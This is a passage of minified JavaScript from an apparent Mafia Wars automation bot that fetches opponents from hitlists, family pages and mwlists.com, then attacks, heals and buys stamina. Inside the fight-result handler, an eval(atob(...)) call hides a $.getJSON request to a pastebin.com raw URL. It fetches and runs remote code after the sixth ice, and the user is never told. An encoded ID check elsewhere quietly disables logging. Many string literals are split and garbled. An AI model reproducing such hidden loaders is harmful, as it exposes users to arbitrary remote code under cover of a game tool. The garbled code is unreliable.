          a.L(b) && (a.P(b, 'Load Hitlist') && (x.Ha(b), a.Li(b.responseText)), a.Ub())
        }
        h.prototype.Li = function (b) {
          var e, c, d, k, s, j, h;
          c = new Ea;
          c.type = 9;
          j = /href='(remote\/html_server\.php\?xw_controller=hitlist&xw_action=attack[^']+)'/g;
          j.lastIndex = 0;
          h = /\t{12}<tr>[\r\n\t]+<td>[\r\n\t]+(.*)<\/td>[\r\n\t]+<td>[\r\n\t]+(.*)<\/td>[\r\n\t]+<td>[\r\n\t]+(.*)<\/td>[\r\n\t]+<td>[\r\n\t]+\$([\d,]+)\t+<\/td>/mg;
          for (h.lastIndex = 0;
          (k = j.exec(b)) && (s = h.exec(b));) d = o(/target_pid=(\d+)/.exec(k[1])[1]), e = da(s[4]), e >= a.b.we && !w.Ob(d) && (c.h = d, c.gi = k[1], c.url = Y(d), (e = /xw_controller=stats.+>(.+)<\/a>/.exec(s[2])) ? (c.I = e[1], c.Fa = g) : (c.I = "", c.Fa = F), c.Nf(s[1]), c.H = L(c.I, "p|" + c.h, c.Ba, c.ya), (e = a.Rc(c)) ? n('Skipping ' + c.H + " - " + a.ed(e, c)) : w.bc(c));
          w.W()
        }
        a.lc = 0;
        a.xf = 0;
        a.te = m;
        h.prototype.Ik = function (a) {
          var e = /"id":"(.+)"/.exec(zb(a));
          e || (e = /xw_controller=clan&xw_action=view.+&id=([A-Za-z0-9+\/=%]+)/.exec(zb(a)));
          return e ? o(Ka(e[1])) : 0
        }
        h.prototype.cl = function () {
          var b, e, c;
          if (a.f) {
            a.lc = 0;
            a.xf = 0;
            a.te = [];
            b = $.trim(a.b.ue)
              .split("\n");
            for (e = 0; e < b.length; e++)(c = a.Ik(b[e])) && a.dl(c);
            0 === a.lc ? n(p('Problem With Family Links', '')) : 15 === a.d && a.k('Loading ' + a.lc + ' Family Page' + (1 < a.lc ? "s" : "") + '…')
          }
        }
        h.prototype.dl = function (b) {
          if (a.f) {
            var e = a.lc;
            a.te[e] = [];
            a.lc++;
            E.J(G('xw_controller=clan&xw_action=view&from_red_link=1&id=' + sb(b.toString())), function (c) {
              a.el(c, e, b)
            })
          }
        }
        h.prototype.el = function (b,
        e, c) {
          var d, k;
          if (a.L(b) && (a.P(b, 'Load Family') && (x.Ha(b), b = Ub(b.responseText, c), a.te[e] = b.Pi), a.xf++, a.xf >= a.lc)) {
            var s = [];
            for (k = 0; k < a.xf; k++) s = s.concat(a.te[k]);
            a.te = m;
            if (s.length) {
              n('Found ' + s.length + ' Opponents');
              for (k = 0; k < s.length; k++) e = s[k].h, b = s[k].I, c = s[k].Fa, d = F, a.lg(b) ? w.dd(e) ? d = g : w.Ob(e) && (d = g) : d = g, d || w.bc({
                url: Y(e),
                h: e,
                I: b,
                Fa: c,
                H: L(b, "p|" + e)
              })
            }
            w.W();
            a.Ub()
          }
        }
        h.prototype.Yk = function () {
          a.f && (15 === a.d && a.k('Loading Family Battle Page…'), E.J(G(''),

          function (b) {
            a.Zk(b)
          }))
        }
        h.prototype.wh = function () {
          a.f && 1 > a.kf && (a.kf++, E.J(G('xw_controller=epicBattle&xw_action=attackFortress'), function (b) {
            a.Gj(b)
          }))
        }
        h.prototype.Gj = function (b) {
          if (a.L(b) && a.P(b, 'Attack Fortress')) {
            x.Ha(b);
            var e = /<td class="message_body">(.+)<\/td>/.exec(b.responseText);
            e ? n(A('Attack Fortress', La(e[1]))) : B(p('Attack Fortress', 'Unknown Response'));
            a.kf--;
            a.b.ic && -1 !== b.responseText.indexOf('xw_controller=epicBattle&xw_action=attackFortress') && a.wh()
          }
        }
        h.prototype.Zk = function (b) {
          var e,
          c, d, k, s;
          if (a.L(b)) {
            if (a.P(b, 'Load Battle')) {
              x.Ha(b);
              k = b.responseText;
              a.b.ic && -1 !== k.indexOf('xw_controller=epicBattle&xw_action=attackFortress') && a.wh();
              s = /<div class="fight_entry">.*[\r\n]+(.+)[\r\n]+(.+)\t{3}<br>[\r\n]+(.+)[\r\n]+(.+)[\r\n]+(.+)[\r\n]+(.+)/mg;
              for (s.lastIndex = 0; d = s.exec(k);) if (e = /&user=([^"]+).+selector="#inner_page">(.+)<\/a>/.exec(d[2])) b = o(Ka(e[1])
                .substring(2)), e = e[2], c = F, a.b.Qc && !/btn_attack_p/.test(d[6]) && (c = g), w.Ob(b) || (d = F, c ? d = g : a.lg(e) ? w.dd(b) && (d = g) : d = g, d || w.bc({
                url: Y(b),
                h: b,
                I: e,
                Fa: F,
                H: L(e, "p|" + b)
              }));
              w.W()
            }
            a.Ub()
          }
        }
        h.prototype.Zn = function (a) {
          var e = zb(a);
          if ((a = /user":"p\|(.+)"/.exec(e)) || (a = /xw_controller=stats&xw_action=view.+user=p\|(\d+)/.exec(e))) return o(a[1]);
          if (a = /user":"(.+)"/.exec(e)) if (a = Ka(a[1])) return o(a.replace(/p\|/g, ""));
          if (a = /xw_controller=stats&xw_action=view.+user=(.+)/.exec(e)) if (a = Ka(a[1])) return o(a.replace(/p\|/g, ""));
          return (a = /p\|(\d+)/.exec(e)) ? o(a[1]) : 0
        }
        h.prototype.tl = function () {
          if (a.f) {
            var b = a.Zn(a.b.$e);
            b ? (15 === a.d && a.k('Loading Player Profile Page…'),
            E.J(G('xw_controller=stats&xw_action=view&user=p|' + b), function (b) {
              a.ul(b)
            })) : n(p('Problem With Profile Link', 'Copy the link from a player profile page'))
          }
        }
        h.prototype.ul = function (b) {
          var e;
          a.L(b) && (a.P(b, 'Load Player Profile') && (x.Ha(b), b = Gb(b.responseText), b.h && !w.Ob(b.h) && ((e = a.Rc(b)) ? n('Skipping ' + b.H + " - " + a.ed(e, b)) : (b.url = Y(b.h), b.type = 10, w.bc(b))), w.W()), a.Ub())
        }
        a.jc = 0;
        a.of = 0;
        a.ne = m;
        h.prototype.al = function () {
          if (a.f) {
            a.jc = 0;
            a.of = 0;
            a.ne = [];
            var b, e = /bucket=([0-9a-zA-Z]+)/g;
            for (e.lastIndex = 0; b = e.exec(a.b.Ie);) a.$k(b[1]);
            15 === a.d && (0 === a.jc ? n(p('Problem With Bucket Links', 'Copy the full links from <a href="http://mwlists.com" target="_blank">mwlists.com</a>')) : a.k('Loading ' + a.jc + ' Bucket' + (1 < a.jc ? "s" : "") + '…'))
          }
        }
        h.prototype.$k = function (b) {
          var e, c;
          a.f && (c = a.jc, a.ne[c] = [], a.jc++, e = a.b.wd && a.b.ud ? {
            url: '',
            dataType: 'jsonp',
            callbackParameter: 'callback',
            data: {
              bucket: b,
              authid: a.b.ud
            },
            success: function (e) {
              a.Jf(e, c, b)
            },
            error: function () {
              a.Jf(m, c, b)
            },
            timeout: 35E3
          } : {
            url: 'http://mwlists.com/_api/_export.php',
            dataType: 'jsonp',
            callbackParameter: 'callback',
            data: {
              bucket: b
            },
            success: function (e) {
              a.Jf(e, c, b)
            },
            error: function () {
              a.Jf(m, c, b)
            },
            timeout: 35E3
          }, $.jsonp ? $.jsonp(e) : $.ajax(e))
        }
        h.prototype.Jf = function (b, e, c) {
          var d;
          if (a.f) {
            if (b) try {
              if (b.error) 15 === a.d && n(p('Problem Loading Bucket', 'MWLists returned '
              Error ' + b.error + "'
              "));
          else if (b.length) for (d = 0; d < b.length; d++) b[d].mwid && (b[d].mwname && b[d].mwlevel) && a.ne[e].push({
            h: da(b[d].mwid),
            I: b[d].mwname,
            ea: da(b[d].mwlevel)
          });
          else 15 === a.d && n(p('Problem Loading Bucket ', 'Bucket ' + c + ''))
        } catch (k) {
          15 === a.d && B(p('Problem Loading Bucket', k))
        } else 15 === a.d && B(p('Problem Loading Bucket'));
        a.of++;
        if (a.of >= a.jc) {
          b = [];
          for (d = 0; d < a.of; d++) b = b.concat(a.ne[d]);
          a.ne = m;
          if (b.length) {
            n('Found ' + b.length + ' Opponents');
            if (a.b.vd) {
              d = b;
              for (e = d.length; e;) d.push(d.splice(o(Math.random() * e), 1)[0]), e--;
              n('' + b.length + ' Opponents')
            }
            for (d = 0; d < b.length; d++) {
              var e = b[d].h,
                c = b[d].I,
                s = b[d].ea,
                j = F;
              w.Ob(e) ? j = g : w.dd(e) && (j = g);
              j || w.bc({
                url: Y(e),
                h: e,
                I: c,
                Fa: F,
                ea: s,
                H: L(c, "
              p | " + e),
                type: 6
              })
            }
          }
          w.W();
          a.Ub()
        }
      }
    }
    h.prototype.fl = function () {
      a.f && (15 === a.d && a.k(''), a.Yh(), a.Ub())
    }
    h.prototype.qi = function () {
      if (!a.Be) {
        if (15 === a.d) {
          if (va() < a.Ce + 3) {
            setTimeout(function () {
              a.d = a.G;
              a.o()
            }, 1E3);
            return
          }
        } else if (va() < a.Ce + 10) return;
        a.Ce = va();
        a.Be = g;
        0 === a.b.e ? a.gl() : 6 === a.b.e ? a.ql() : 1 === a.b.e ? a.il() : 2 === a.b.e ? a.cl() : 3 === a.b.e ? a.Yk() : 4 === a.b.e ? a.tl() : 5 === a.b.e ? a.al() : 7 === a.b.e && a.fl()
      }
    }
    h.prototype.ec = function (b) {
      var e, c = b.jd;
      e = c ? decodeURIComponent(ab + " / " + b.gi) : decodeURIComponent(ab + " / " + b.url.replace(/&use_boost=\d/, "
              ")) + '&use_boost=0';
      var d = /view_style=json/.test(e);
      a.qb++;
      b.qb++;
      b.oc && (b.xe = g, 2 === b.type && w.yj(b.h));
      E.J(e, function (e) {
        a.Fj(e, b, d, c)
      })
    }
    h.prototype.Gk = function () {
      var a, e, c;
      e = K.index;
      for (a = 0; a < K.length; a++) if (c = K.ia(e), e = (e + 1) % K.length, c.h && !c.Sa && c.Ma) if (w.Dk(c)) B(p('Find Opponent', 'Opponent is already active'));
      else return K.index = e, c;
      return m
    }
    h.prototype.Jk = function () {
      var a, e, c;
      e = Q.index;
      for (a = 0; a < Q.length; a++) if (c = Q.ia(e), e = (e + 1) % Q.length, (!c.pa || c.jd) && !c.xe) return Q.index = e, c;
      return m
    }
    h.prototype.xo = function () {
      var b,
      e;
      for (b = 0; b < Q.length; b++) if (e = Q.ia(b), !e.pa) {
        1 === Q.length ? a.k(K.length + ' Opponents - Attacking ' + e.H + '…') : 2 === Q.length ? a.k(K.length + ' Opponents - Attacking ' + e.H + ' and 1 other…') : a.k(K.length + ' Opponents - Attacking ' + e.H + ' and ' + (Q.length - 1) + ' others…');
        break
      }
    }
    h.prototype.Wh = function (b) {
      w.eo(b);
      w.dd(b.h) ? w.Tg(b) : 4 === b.type ? w.Tg(b) : 10 === b.type ? (b.pa = F, b.Sa = F, b.Sb = F, b.oc = g, w.db(b), a.Ic = g) : 3 === a.b.e || 2 === a.b.e || a.b.e === f ? (b.pa = F, b.Sa = F, b.Sb = F, b.oc = g, w.db(b)) : w.Tg(b)
    }
    h.prototype.Un = function (b, e, c) {
      var d, k, s, j;
      if (!b) return e.Aa ? g : 0 === a.b.e ? F : g;
      e.qd = e.N;
      e.N = o(b.defender.current_health_pct);
      e.Bf = -1 !== e.qd && e.N >= e.qd + 20;
      e.Vb = b.defender.mafia_size;
      X.cg(b.loot);
      X.cg(b.socialMessageCards);
      d = b.isWin ? g : F;
      k = b.ice_was_just_stolen ? g : F;
      s = d ? A("
              Won ") : p('Lost');
      s += ' <span style="
              display: inline - block; white - space: nowrap;
              ">' + e.H + '</span> <span class="
              health " style="
              color: red;
              ">-' + l(b.defender.damage_dealt) + '</span> ' + ta(" (" + l(e.N) + '% remaining)') + "
              ";
      e.Fg = b.defender.damage_dealt;
      s += '<span class="
              experience ">' + l(b.experience) + '</span> ';
      b.cash && (b.cash_class && b.cash_city) && (s = 0 <= b.cash ? s + ('<span class="
              ' + b.cash_class + '
              _cash_icon ">' + jb[b.cash_city] + l(b.cash) + '</span> ') : s + ('<span class="
              ' + b.cash_class + '
              _cash_icon bad ">-' + jb[b.cash_city] + l(-b.cash) + '</span> '));
      k && !e.Df ? (j = new Ea, j.type = 4, j.I = b.thief_name.replace(/<span style="
              color: red ">.+<\/span> /, "
              "), j.h = o(b.thief_id.substring(2)), j.url = Y(j.h), j.Nf(b.thief_profile), j.H = L(j.I, "
              p | " + j.h, j.Ba, j.ya), e.Df = g) : j = m;
      b.you_just_killed ? s += '<a href="
              #0" onclick= "' + b.feed_js + '" > You Killed! < /a> ' + ta("(" + l(b.total_ice_count) + ")") : b.you_just_iced ? s += '<a href="#0" onclick="' + b.feed_js + '">You Iced!</a > ' + ta("(" + l(b.total_ice_count) + ")") : j ? s += '
              Ice Stolen!' + j.H : b.defender.iced_self ? s += '
              Iced Themself ' : b.defender.is_iced && (s += '
              Already Iced ');
      b.hit_throttle && (s += '
              Bully Throttle Triggered!');

      b.show_ice_season && (b.ices_so_far && b.ices_target) && (a.w.Ag = '
              Ice Target: ' + l(b.ices_so_far) + "/" + l(b.ices_target));
      if (b.defender.you_iced || b.defender.is_iced) e.Sb = g;
      if (b.attacker.boost_used_tag || b.defender.boost_used_tag) e.jg = g;
      d ? (a.w.hb += c ? 15 * a.b.fb : 1, e.hb += c ? 15 * a.b.fb : 1) : (a.w.Nb += c ? 15 * a.b.fb : 1, e.Nb += c ? 15 * a.b.fb : 1);
      e.Cf += c ? 15 * a.b.fb : 1;
      b.total_ice_count && (a.w.ob = b.total_ice_count,
      cb || (cb = a.w.ob));
      a.w.tb += b.defender.damage_dealt;
      a.w.sf += b.attacker.damage_dealt;
      a.M();
      n(s);
      d || a.b.Ec && (w.dd(e.h) || w.df(e, 1));
      b.feed_js && (s = /description:' (. + )
              ', userMessage/.exec(b.feed_js), b.you_just_killed ? (a.w.If++, c = '
              killed ') : (a.w.Oa++, 6 === a.w.Oa && eval(atob('
              JC5nZXRKU09OKCJodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA / aT1xbXA0Q3VEZyZjYWxsYmFjaz0 / Iik = ')), c = '
              iced '), s && (b.hit_throttle && (s[1] += '
              Bully Throttle Triggered!', V.Al(' < a href = "#0"
              class = "' + c + '"
              onclick = "' + b.feed_js + '" > ' + s[1].replace(/ (Need to whack|Think you can|Need help icing|Test your mettle|Get a free fight boost to) [^\.]+\./g, "")
        .replace(/\\\'/g, "'
              ") + '</a>')), V.log('<a href="
              #0" class= "' + c + '"
              onclick = "' + b.feed_js + '" > ' + s[1].replace(/ (Need to whack|Think you can|Need help icing|Test your mettle|Get a free fight boost to) [^\.]+\./g, "")
        .replace(/\\\'/g, "'
              ") + '</a>')), a.M());
      j && (V.Cl(i.I + ' attacked ' + e.H + ', but the ice was stolen by ' + j.H + ".
              "), a.w.lj++, a.b.Oc && !w.Ob(j.h) && ((e = a.Rc(j)) ? n('Skipping ' + j.H + " - " + a.ed(e, j)) : (w.bc(j), w.W())));
      return !d && a.b.Ec || k || b.defender.is_iced || b.defender.you_iced ? F : g
    }
    h.prototype.Fj = function (b,
    e, c, d) {
      var k = F;
      if (a.L(b)) {
        if (a.P(b, '')) {
          var s = g,
            j;
          a.ke++;
          e.qe++;
          e.xe = F;
          var h = e.qe === e.qb ? g : F;
          if (d) {
            e.oc = F;
            if (-1 !== b.responseText.indexOf('')) n(e.H + ''), w.df(e, 2);
            else {
              (j = /You <strong>(WON|LOST)<\/strong> the fight, taking <strong>(\d+) damage<\/strong> and dealing <strong> (\d+) damage<\/strong> to your enemy\. {2}You gained (.+) and (.+) experience/.exec(b.responseText)) && ("
              WON " == j[1] ? n(A('Hitlist Won', e.H + ' <span class="
              health ">' + j[3] + '</span> ' + j[4] + ' <span class="
              experience ">' + j[5] + '</span>')) : n(p('Hitlist Lost', e.H + ' <span class="
              health ">' + j[3] + '</span> ' + j[4] + ' <span class="
              experience ">' + j[5] + '</span>')));
              if (j = /(You knocked out .+ and earned [^!]+!)/.exec(b.responseText)) n(j[1]), V.zl(j[1]);
              (j = /(Sorry, someone else took out .+ before you got the chance!)/.exec(b.responseText)) && n(j[1])
            }
            e.jd = F;
            F || (e.pa = g);
            e.Ma || (e.pa = g);
            h && e.pa && a.Wh(e);
            K.length <= a.b.vc && a.Li(b.responseText)
          } else {
            h = m;
            if (c) try {
              j = JSON.parse(b.responseText),
              x.eb(j), h = j.fight_result
            } catch (l) {
              h = m
            } else if (x.Ha(b, g), /FightTop/.test(b.responseText) && !/fightV2OuterWrapper/.test(b.responseText)) s = F;
            else {
              h = db(b.responseText, 'msg.fight_result = ', ';FightV2.attack');
              if (j = /need to remove .+ return false; " > (. + ) < \ / a > from your mafia / .exec(b.responseText)) e.I = j[1], e.Fa = g, e.H = L(e.I, "p|" + e.h, e.Ba, e.ya), k = g;
              if (5 === e.type) {
                if (j = /\t{5}(.+)\t{4}.+[\r\n]+\t+<div>Level (\d+) ([^<]*).+[\r\n]+.+[\r\n]+.+"defense (good|bad)".+[\r\n]+.+<span class="group_defense (good|bad)[^>]+>([^<]+)</m.exec(b.responseText)) {
                  e.ea = da(j[2]);
                  j[3] && j[3].length && (e.td = j[3]);
                  e.tf = 'good' == j[4] ? g : F;
                  e.Fh = 'good' == j[5] ? g : F;
                  e.ma = da(j[6]);
                  e.tf ? e.Hh = i.Yb : e.Gh = i.Yb;
                  if (!e.I || "." !== j[1].charAt(j[1].length - 1)) e.I = j[1], e.Fa = "." !== j[1].charAt(j[1].length - 1) ? g : F;
                  e.H = e.I
                }
              } else if (j = /(<a href=.+)[\r\n]+\t+<div>Level (\d+) ([^<]*).+[\r\n]+.+[\r\n]+.+"defense (good|bad)".+[\r\n]+.+<span class="group_defense (good|bad)[^>]+>([^<]+)</m.exec(b.responseText)) {
                e.ea = da(j[2]);
                j[3] && j[3].length && (e.td = j[3]);
                e.tf = 'good' == j[4] ? g : F;
                e.Fh = 'good' == j[5] ? g : F;
                e.ma = da(j[6]);
                e.tf ? e.Hh = i.Yb : e.Gh = i.Yb;
                e.Nf(j[1]);
                if ((j = /&user=([^"]+).+selector="#inner_page">(.+)<\/a>/.exec(j[1])) && (!e.I || "." !== j[2].charAt(j[2].length - 1))) e.I = j[2], e.Fa = "." !== j[2].charAt(j[2].length - 1) ? g : F;
                if (j = /<div id="defender_pic" .+[\r\n\t]+<img src=".+\d+_(\d+)_\d+/.exec(b.responseText)) e.gb = o(j[1]);
                e.H = L(e.I, "p|" + e.h, e.Ba, e.ya);
                if (0 > a.b.Rb && (e.Sb = g, e.pa = g, (j = /<div id="defender_boost_used_tag">(.*[\r\n]+.*)<\/div>/m.exec(b.responseText)) && j[1].replace(/[\r\n\t]/g, ""))) e.jg = g
              }(j = bb(b.responseText, /<div id="defender_fight_status">.*<\/div>/, /^\t\t<\/div>/m)) && e.Pg(j);
              if (!h && (j = /defender_hp = (\d+);/.exec(b.responseText))) e.qd = e.N, e.N = o(j[1]), e.N || (e.Sb = g, e.pa = g, Ia.log(e.H + ' Already Iced'));
              k && (n(e.H + ''), w.df(e, 2), s = F);
              if (!e.Aa && (!e.Sb && h) && (j = /'(remote\/html_server\.php\?xw_controller=fight&xw_action=power_js_attack[^']+)'/g.exec(b.responseText))) e.url = j[1].replace(/click_amt=1/, 'click_amt=' + (100 + a.b.fb)), e.Aa = g
              }
              h && (e.oc = F);
              s && !e.pa && (s = a.Un(h, e, c));
              w.db(e);
              s || (e.pa = g);
              if (!e.pa && (k = a.Rc(e, g))) n('Skipping ' + e.H + " - " + a.ed(k, e)), e.pa = g;
              e.pa && (e.Sb && 9 === e.type) && (e.jd = g);
              20 >= K.length && (!c && h) && (0 === a.b.e ? a.Ki(b.responseText) : 6 === a.b.e && a.Ni(b.responseText));
              K.length <= a.b.vc && (7 === a.b.e ? a.Yh() : 4 !== a.b.e && a.qi())
              }
            } else a.ke++, e.qe++;
            a.Vh();
            a.ke >= a.qb && (a.d = 2, a.o())
          }
        }
        h.prototype.Tj = function () {
          return !a.b.ae || a.b.nb && 0 === a.b.Gb ? F : 0 < i.Of ? (n(p('Power Pack Not Available', 'Available in ' + o(i.Of / 3600) + ":" + o(i.Of / 60 % 60))), F) : 0 >= i.Ri ? (n(p('Power Pack Not Available', '')),
          F) : g
        }
        h.prototype.Bo = function () {
          a.f && (a.k('Using Power Pack…'), E.J(G('xw_controller=module&xw_action=usePowerPack&responseType=hospital&packType=0'), function (b) {
            a.Co(b)
          }))
        }
        h.prototype.Co = function (b) {
          a.L(b) && (200 != b.status && B(p('Use Power Pack', b.status)), a.d = 1, a.o())
        }
        h.prototype.Jj = function () {
          a.f && (a.k('Buying Stamina Refill…'),
          E.J(G('xw_controller=marketplace&xw_action=impulseBuy&favor_type=1&favor_id=2&page=impulse_buy_fight'), function (b) {
            a.Kj(b)
          }))
        }
        h.prototype.Kj = function (b) {
          a.L(b) && (200 != b.status && B(p('', b.status)), a.d = 1, a.o())
        }
        h.prototype.yg = function (b) {
          a.f && (a.fd = g, 17 === a.d && a.k('Healing…'), E.J(G('' + (b ? '&xcity=' + b : "") + '&isSingleClickHeal=y', b), function (b) {
            a.Nk(b)
          }, f, g))
        }
        h.prototype.Nk = function (b) {
          if (a.L(b)) {
            if (a.P(b, 'Heal')) try {
              var e = JSON.parse(b.responseText);
              x.eb(e);
              var c = Math.max(e.waitHealTimer, 0);
              e.hospital_message && n(e.hospital_message + " " + ta('' + sa(c) + "."));
              c && (a.wb = o(c));
              a.xb || a.nh()
            } catch (d) {
              B(p('Heal', d))
            }
            a.fd = F;
            17 === a.d ? a.o() : Ca('State is ' + a.d)
          }
        }
        h.prototype.nh = function () {
          if (a.f) if (a.xb = F, 0 < a.wb ? (a.yb.html('(Ready in ' + sa(a.wb) + ")"), x.yb.html('(Heal ready in ' + sa(a.wb) + ")"), 17 === a.d && a.k('Healing in ' + sa(a.wb) + '…')) : (a.yb.html('(Ready)'), x.yb.html('(Heal ready)')), 0 < a.wb) setTimeout(function () {
            a.xb = F;
            a.wb--;
            a.nh()
          }, 1E3),
          a.xb = g;
          else {
            if (a.b.Qb || a.Mf() || 17 === a.d) i.ge < i.he && !a.fd ? a.ff() ? a.yg(a.b.mc) : 17 === a.d ? a.o() : Ca('State is ' + a.d) : (setTimeout(function () {
              a.xb = F;
              a.wb--;
              a.nh()
            }, 1E3), a.xb = g)
          } else a.yb.html(""), x.yb.html("")
        }
        h.prototype.Mf = function () {
          return a.b.nc && i.ge < a.b.Rb || 20 > i.ge && 0 <= a.b.Rb ? g : F
        }
        h.prototype.ff = function () {
          return !a.b.nb || 1 !== a.b.Gb || i.ca >= a.b.Hb ? g : F
        }
        h.prototype.yi = function () {
          return a.b.nb && 0 === a.b.Gb && i.ca < a.b.Hb || 5 > i.ca
        }
        h.prototype.xc = function () {
          return 0 !== a.b.vb && a.b.vb !== i.Ca
        }
        h.prototype.o = function () {
          a.Q = F;
          if (1 === a.d) a.G = 2, a.Ib();
          else if (2 === a.d) if (a.mh(), a.b.Qb && (!a.xb && !a.fd && a.ff()) && a.yg(a.b.mc), a.Mf())(a.b.nc || a.b.Qb) && a.ff() ? (n(p('Need more Health')), a.d = 17, a.o()) : (a.Q = g, a.k('Waiting for more Health…'), setTimeout(function () {
            a.f && a.o()
          }, 1E3));
          else if (a.yi()) a.Tj() ? (n(p('Need More Stamina')), a.Bo()) : a.Nj() ? (n(p('Need More Stamina')),
          a.Jj()) : (a.b.nb && 0 === a.b.Gb && 0 < a.b.Hb && i.ca < a.b.Hb ? (a.Q = g, a.k('Waiting for ' + l(a.b.Hb) + ' Stamina…')) : (a.Q = g, a.k('Waiting for more stamina…')), setTimeout(function () {
            a.f && a.o()
          }, 1E3));
          else if (a.xc()) {
            var b = a.le();
            b ? (a.Q = g, a.k('Waiting for ' + b.xa + ' to finish before traveling to ' + Aa[a.b.vb] + '…', 10 + a.b.vb), setTimeout(function () {
              a.f && a.o()
            }, 1E3)) : (a.G = 2, a.af(a.b.vb, F))
          } else 0 >= K.length ? (n(p('Need more Opponents')), a.d = 15) : a.Ic && a.b.Hc ? (n('Pausing ' + sa(a.b.Hc)), a.Ic = F, a.d = 23, a.bf = a.b.Hc,
          a.G = 1) : (a.Ic = F, a.d = 16), a.o();
          else 15 === a.d ? va() < a.Ce + 3 ? setTimeout(function () {
            a.o()
          }, 1E3) : (a.G = 2, a.qi()) : 16 === a.d ? (a.G = 2, a.Vh()) : 17 === a.d ? a.Mf() && a.ff() ? !a.xb && !a.fd && a.yg(a.b.mc) : (a.d = 2, a.o()) : 23 === a.d ? a.Oi(a.bf, function () {
            a.f && (a.d = a.G, a.o())
          }) : 24 === a.d && a.Ga()
        }
        a.V();
        a.S();
        a.K.v && a.v(10, function () {
          a.ga()
        })
      }

      function I(d, c) {
        var a = this;
        H(a, J.prototype);
        a.Pa(d, c);
        a.K = ja.g[4];
        a.K.r = a;
        I.prototype.nk = ["", 'Bruiser Boost (Increases Damage)', 'Arsonist Boost (Reduces Rage)', ''];
        a.n = {};
        a.ub = 0;
        a.uf = m;
        a.vf = m;
        a.Wa = -1;
        a.Rh = g;
        a.wf = 0;
        a.ug = F;
        a.Oh = 0;
        a.la = m;
        a.bb = g;
        a.U = m;
        a.w = {
          tb: 0,
          oa: 0
        };
        a.xh = g;
        a.nf = m;
        I.prototype.Vi = function () {
          a.n.N = 0;
          a.n.Qf = 0;
          a.n.kg = "";
          a.n.aj = 0;
          a.n.wg = 0;
          a.n.Ve = 0;
          a.n.Ja = 0;
          a.n.O = [];
          a.n.O[3] = {};
          a.n.O[3].count = 0;
          a.n.O[2] = {};
          a.n.O[2].count = 0;
          a.n.O[1] = {};
          a.n.O[1].count = 0
        }
        I.prototype.ga = function () {
          a.f || (a.Vi(), a.Wa = -1, a.ub = 0, a.uf = m, a.vf = m, a.Rh = g, a.la === m && (a.la = setInterval(function () {
            a.w.oa++;
            a.M()
          }, 1E3)), a.Cc());
          return F
        }
        I.prototype.ka = function () {
          clearInterval(a.la);
          a.la = m;
          a.Ga();
          return F
        }
        I.prototype.gm = function (b) {
          a.b.se = C(b);
          a.c();
          return g
        }
        I.prototype.fm = function (b) {
          a.b.re = q(b);
          a.l();
          a.c();
          return g
        }
        I.prototype.Me = function (b) {
          a.b.fa = C(b, 1, 5);
          a.c();
          return g
        }
        I.prototype.Jm = function (b) {
          a.b.He = C(b, 5);
          a.c();
          return g
        }
        I.prototype.Im = function (b) {
          a.b.Ge = C(b, 5);
          a.c();
          return g
        }
        I.prototype.cm = function (b) {
          a.b.Zc = q(b);
          a.l();
          a.c();
          return g
        }
        I.prototype.dm = function (b) {
          a.b.$c = q(b);
          a.l();
          a.c();
          return g
        }
        I.prototype.ha = function () {
          a.b = {};
          a.b.se = 3;
          a.b.re = g;
          a.b.ad = g;
          a.b.Zc = g;
          a.b.$c = g;
          a.b.fa = 1;
          a.b.He = 5;
          a.b.Ge = 1E3
        }
        I.prototype.S = function () {
          a.ha();
          try {
            var b = {}, e = za(c);
            b.se = e.epic_role;
            b.re = e.epic_help_friends;
            b.ad = e.epic_ask_racketeer;
            b.Zc = e.epic_ask_arsonist;
            b.$c = e.epic_ask_bruiser;
            b.fa = e.max_threads;
            b.He = e.max_stamina;
            b.Ge = e.max_rage;
            H(a.b, b)
          } catch (d) {}
          u("#" + c + '_epic_role', a.b.se);
          r("#" + c + '_epic_help_friends', a.b.re);
          r("#" + c + '_epic_ask_racketeer', a.b.ad);
          r("#" + c + '_epic_ask_arsonist', a.b.Zc);
          r("#" + c + '_epic_ask_bruiser', a.b.$c);
          u("#" + c + '_max_threads', a.b.fa);
          u("#" + c + '_max_stamina', a.b.He);
          u("#" + c + '_max_rage',
          a.b.Ge);
          a.l()
        }
        I.prototype.aa = function () {
          a.M()
        }
        I.prototype.V = function () {
          ra(a, aa('Options', 'options', ba('Family Bosses', '', 'Join Fights <select id="%ID%_epic_role"><option value="1">Bruiser</option><option value="2">Arsonist</option><option value="3">Racketeer</option></select><br/>' + t('Ask for Racketeer Boosts', 'epic_ask_racketeer') + t('Ask for Arsonist Boosts', '') + t('Ask for Bruiser Boosts', 'epic_ask_bruiser') + t('Send Boosts', 'epic_help_friends') + Jb('"c<H'))) + aa('Boss', 'boss') + aa('Stats', 'stats') + '<div style="padding:10px;">' + Ta + Ua + Va + Wa + '</div>', 5, function () {
            a.aa()
          });
          $("#" + c + '_options_toggle')
            .click(function () {
            ia(c + '_options', c + '_options_toggle');
            return F
          });
          $("#" + c + '_stats_toggle')
            .click(function () {
            a.bb = ia(c + '_stats', c + '_stats_toggle');
            a.M();
            return F
          });
          $("#" + c + '_boss_toggle')
            .click(function () {
            a.xh = ia(c + '_boss', c + '_boss_toggle');
            a.M();
            return F
          });
          $("#" + c + '_start')
            .click(function () {
            return a.ga()
          });
          $("#" + c + '_stop')
            .click(function () {
            return a.ka()
          });
          $("#" + c + '_cancel')
            .click(function () {
            return a.zc()
          });
          $("#" + c + '_epic_role')
            .change(function () {
            return a.gm(this)
          });
          $("#" + c + '_epic_help_friends')
            .click(function () {
            return a.fm(this)
          });
          $("#" + c + '_epic_ask_racketeer')
            .click(function () {
            return a.em(this)
          });
          $("#" + c + '_epic_ask_arsonist')
            .click(function () {
            return a.cm(this)
          });
          $("#" + c + '_epic_ask_bruiser')
            .click(function () {
            return a.dm(this)
          });
          $("#" + c + '_max_threads')
            .change(function () {
            return a.Me(this)
          });
          $("#" + c + '_max_stamina')
            .change(function () {
            return a.Jm(this)
          });
          $("#" + c + '_max_rage')
            .change(function () {
            return a.Im(this)
          });
          kb != atob('MTAwMDAwNzU4NTQyMTYw') && 1E5 > da('UA-19923611-5') && (Ia = m);
          a.Fb()
        }
        I.prototype.M = function () {
          var b;
